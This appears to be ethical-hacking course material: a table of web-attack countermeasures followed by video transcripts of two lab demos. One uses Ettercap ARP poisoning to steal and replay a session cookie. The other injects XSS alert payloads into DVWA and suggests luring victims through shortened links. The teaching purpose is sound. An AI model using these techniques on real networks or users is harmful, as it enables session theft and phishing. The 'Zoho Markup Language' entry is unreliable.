• Be careful when you set up roles and permissions and disable default accounts.

The following table describes defensive countermeasures for specific web application attacks.

Attack	Defense
Command injection flaws	Countermeasures for command injection flaws include: Perform input validation. Do not permit characters that programs read as commands or control sequences. The \, [, and escape sequences are examples. Perform input and output coding. Use language-specific libraries. Use parameterized SQL queries.
Cross-site scripting (XSS) attacks	Countermeasures for XSS attacks include: Adhere to strict specifications to validate all headers, cookie query strings, hidden fields, and form fields. Use a web application firewall. Do not trust all websites that use HTTPS. Encode input and output filters. Filter all metacharacters that are input. Use testing tools during the design phase to detect and prevent errors in the application before it's put into production. Design standard scripts to use private and public keys that will check for authenticated scripts.
DoS attacks	Countermeasures for DoS attacks include: Secure remote administration and connectivity testing. Perform extensive input validation. Configure the firewall to deny ICMP traffic. Stop data processed by the attacker from being executed.
Web services attacks	Countermeasures for web services attacks include: Configure Web Services Description Language (WSDL) access control permissions. Use multiple security credentials. Configure firewalls and IDS systems to filter Simple Object Access Protocol (SOAP) and Zoho Markup Language (ZML) syntax and to detect web services anomalies. Maintain an updated and secure store of XML schemas. Implement centralized in-line schema validation for requests and responses.
Unvalidated redirects and forwards	As a countermeasure, do not use redirects and forwards. If you cannot avoid using them, ensure the supplied values are valid and the user has appropriate authorization.
Cross-site request forgery	Countermeasures for cross-site request forgery attacks include: Log off immediately after using a web application. Clear browser history after using a web application. Do not allow the browser to save login details.
Insecure cryptographic storage	Countermeasures for insecure cryptographic storage attacks include: Create or use strong cryptographic algorithms. Generate and store encryption keys offline.
Broken authentication and session management	Countermeasures for broken authentication and session management attacks include: Use SSL for all authenticated parts of an application. Verify that user information is stored in a hashed format. Do not submit session data as part of a GET or POST. Ensure users can only access resources they have permission to access. Use access control for different roles, such as administrator and customer.
Insufficient transport layer protection	Countermeasures for insufficient transport layer protection attacks include: Set the secure flag on all sensitive cookies. Ensure that certificates are valid and have not expired. Direct all non-SSL web page requests to the SSL page.
Directory traversal	Countermeasures for directory traversal attacks include: Update web servers with security patches regularly. Limit access to the secure areas of the website.
Cookie/session poisoning	Countermeasures for cookie/session poisoning attacks include: Do not store plain text or poorly encrypted passwords in a cookie. Implement timeouts for cookies. Associate all cookie authentication credentials with an IP address. Always provide a logout option.
Server-Side Request Forgery (SSRF)	To prevent SSRF vulnerabilities, web application developers should consider the following: Always validate user input - Ensure all user input is properly validated and sanitized to prevent attackers from manipulating requests. Allowed (formerly known as whitelist) hosts - Web applications should only be allowed to access trusted hosts and block all other requests by default. Firewall and network segmentation - Network segmentation can prevent unauthorized access to internal systems when combined with firewalls to block traffic from unauthorized sources. Secure coding practices - Developers should follow secure coding practices, such as using well-established and trusted libraries, avoiding user-controlled data in requests, and implementing safe configuration settings. PortSwigger (the maintainers of Burp Suite) have published an excellent technical overview of SSRF. https://portswigger.net/web-security/ssrf
Data poisoning	Some strategies designed to mitigate the risk of data poisoning attacks include the following: Data Validation - Before using data in an ML model, it is crucial to validate the quality and authenticity of the data to identify malicious or corrupted inputs that could result in a data poisoning attack. Data Diversity - Using a diverse range of data can help prevent data poisoning attacks by making it more difficult to manipulate the inputs to modify the results. Anomaly Detection - Using anomaly detection techniques can help identify unusual data patterns that may indicate a data poisoning attack. Robust Models - Creating ML models resilient to unexpected inputs and adversarial attacks can help mitigate the risk of data poisoning. Regular Model Testing and Auditing - Regular testing and auditing ML models can help to identify issues and vulnerabilities, including evidence of data poisoning attacks.

System Configurations

Many web application attacks are a result of improper configuration. It is essential to diligently seek out any vulnerabilities a potential hacker could exploit.

One step is performing frequent vulnerability assessments on systems to discover improper configurations. The following table describes some configuration settings that should be checked regularly.

System Configuration	Description
Web server	Vulnerability assessments should be performed on the web server; these include: Use CGI scanners or other vulnerability assessment programs. Review web server content, configuration, and log files to discover potential vulnerabilities. Check for hidden file extensions. Check the storage location of old backup and configuration files. These locations and old files can contain potential vulnerabilities. Perform file and directory enumeration to locate administrative interfaces that could be used to gain access to administrative-level permissions.
Authentication mechanisms	Broken authentication refers to an app that allows an unauthorized user to access the app. Configuration errors that can cause broken authentication include: The app allows weak passwords. The password reset function uses weak security or validation. The app is vulnerable to session hijacking. The app exposes credentials or authorization tokens to on-path attacks. This can happen because credentials are hard-coded into the app or encryption is not being used. Implementing access controls properly and regularly testing for vulnerabilities to mitigate the risk of exploitation is essential.
Session management	Session management includes the following: Ensure the cookies are sent only over a secure connection (HTTPS). Validate that the specified domain and the URL or path for the cookie are valid. Permit cookies to be accessed by HTTP but not other scripts such as JavaScript. Ensures that a cookie is deleted once it has expired. Use session fixation testing to verify that a session closes after a user has logged out or has been idle for a specified time. Check for exposed session variables to see how much data is left in the browser cache after the session closes. Look for any cross-site forgery request vulnerabilities.

Programming Practices

A security analyst should be aware of proper programming practices. This knowledge will help find vulnerabilities and know how to protect against them.

Basic programming security awareness includes:

• Be aware of the latest exploits.
• Perform vulnerability assessments on web applications.
• Use data encryption.
• Use secure programming languages.

6.3.9 Set Up a Web Session Hijack

Click one of the buttons to take you to that part of the video.

Hijack a Web Session 00:00-00:39 Session hijacking, also known as cookie hijacking, is exploiting a computer session to gain unauthorized access. Many websites, mostly sites that don't use encryption, are easy for an attacker to steal using an intermediary computer, such as a man-in-the-middle attack, or with access to the saved session cookie from the victim's computer. Hackers use various tools to take control of a victim's session. You can use Wireshark, TCPDump, and other sniffing tools. In this demo, we're going to use Ettercap to capture a session cookie and use that cookie to create our own session using the victim's credentials.

Set Up an MITM Attack 00:39-01:54 I'm on a Kali Linux system. We're going to use Ettercap to do a man-in-the-middle attack. There are several ways to do this, but I think the easiest way is to use ARP poisoning. To get started, I'll launch Ettercap, go up to Applications, come down to Sniffing & Spoofing, go over, and select Ettercap.

After Ettercap is open, I'll start my ARP poisoning attack. I'll go to Sniff, click Unified sniffing, and select eth0 for my network interface. Now go up to Hosts and choose Scan for hosts. When that's done, I want to display my host list. I want to put myself between the router and the victim. I've already determined that my router IP is 10.10.10.1, and my victim is 10.10.10.194. I'm going to select my router, 10.10.10.1, and select Add to Target 1. Now I'll come down, select 10.10.10.194, and select Add to Target 2.

Now I need to come up to my Mitm tab and select ARP poisoning. When the optional parameters dialog comes up, I'll pick Sniff remote connections and click OK.

All right. We're sitting here and waiting for our victim to log in to a site so we can capture the cookie. Let's do that from a Windows 10 machine.

Capture the Session Cookie 01:54-03:23 Now I'm on a Windows 10 system, and I have a web application that I'm going to log on to. This web application is sitting on a different subnet, so I have to go through my router to get to it. Remember that I'm capturing traffic between the victim and the router. I'll enter in my credentials and click Login, and I'm logged in. Now, let's go see if Ettercap is doing its job and capturing the session cookie that was created.

Okay, I'm back on the Kali Linux system. Down here, in the lower pane of Ettercap, I have some good stuff. I have a captured username and password. Sometimes that's all you want. But I also have this cookie information. I want to copy this information and get it over to a different Windows machine. I'll pause the demo while I copy it to a text file and move it to a Windows machine.

I copied the cookie information to a text file, and now I'm on this different Window 10 machine. I have this web application open, and I'm going to use this Chrome plug-in to create a cookie. I'll click on it to open it. Now I'll click on the plus sign, up here. For the name, I'll copy and paste in the first part of the text. For the value, I'll paste in the cookie text. I want to confirm the address here. But down here, for the path, I need to enter ‘dvwa'. Now come down and click on the check mark. It creates a cookie. It doesn't look like anything's happened. But if I refresh the page, it will log me in to the page because the session cookie has been added, and we've hijacked our victim's web session. Now I can pretty much do whatever I want on this page.

Summary 03:23-03:39 That's it for this demo. In this demo, we used an on-path attack to capture a session cookie. Then we copied that cookie to another system and used a cookie creator plug-in to perform a session hijacking attack.

6.3.10 Exploit Cross-Site Scripting Vulnerabilities

Click one of the buttons to take you to that part of the video.

Cross-Site Scripting Vulnerabilities 00:00-00:36 Cross-site scripting, or XSS, is a client-side code injection attack. The attacker's goal is to execute malicious scripts in a victim's web browser by including malicious code in a legitimate web page or web app. The attack occurs when the victim goes to the web page or web app that executes the code, which delivers the malicious script to the user's browser. Methods that are commonly used for cross-site scripting attacks are forums, message boards, and web pages that allow comments. In this demo, we're going to try this attack ourselves.

Our Setup 00:36-00:51 So, let's get started. I have a Windows 10 system here that has XXAMP installed. I've also downloaded the deliberately vulnerable web application knows as DVWA, and I've configured it as well. I've opened it, and I'm ready to go to work.

XSS Stored 00:51-02:00 The first cross-site scripting attack we're going to look at is the stored attack. The DVWA vulnerable web app has several different things you can use to practice penetration testing skills. For this demo, we're going to come down here and select the XSS (Stored) option. When I select it, we get this guestbook web app that we can attack. We're going to enter in some Javascript so that when someone comes here to visit, they'll get a message that we left behind. I'll enter my name here, ‘Dana'. And down here, in the Message section, I'll put in some Javascript with a message. I'll put in our script tags. And then here, in the middle, I'll put in a message. It'll be a pop-up window, ‘alert "Go Cubs Go"'. I'll click on Sign Guestbook, and I get an error page. If I click the back button, I get a pop-up that says, "Go Cubs Go." Now, every time someone comes here to sign this guestbook, they're going get this Go Cubs Go Pop-up window instead. Fun, huh?

Let's give it a try. I'll come down here and click on this link. And, sure enough, I see "Go Cubs Go." This isn't a horribly malicious attack. The point is just to demonstrate what you can do with cross-site scripting.

XSS Reflected 02:00-02:48 Now let's look at the Cross-site Scripting Reflected attack. Let's see if we can just do something really simple, like change the color of our font. I can put in the font tag and specify a color. I'll type in <font color="brown"> and click Submit, and now have some brown font. That tells me that I'm able to do some things to this site.

Let's go ahead and try a script. I'll type in <script>alert("Tampico Rocks")</script> and click Submit. I get an alert box that says Tampico Rocks. So now, up in my web address bar, you can see that this is what I would want someone to click on to execute the script. I could use a URL shortener and send that to them to make it more likely that they'll click on it. I could post that link to social media or email it to someone.

Summary 02:48-03:03 And that's it for this demo. In this demo, we performed two kinds of cross-site scripting. First, we did a stored cross-site scripting attack, and then we did a reflective cross-site scripting attack.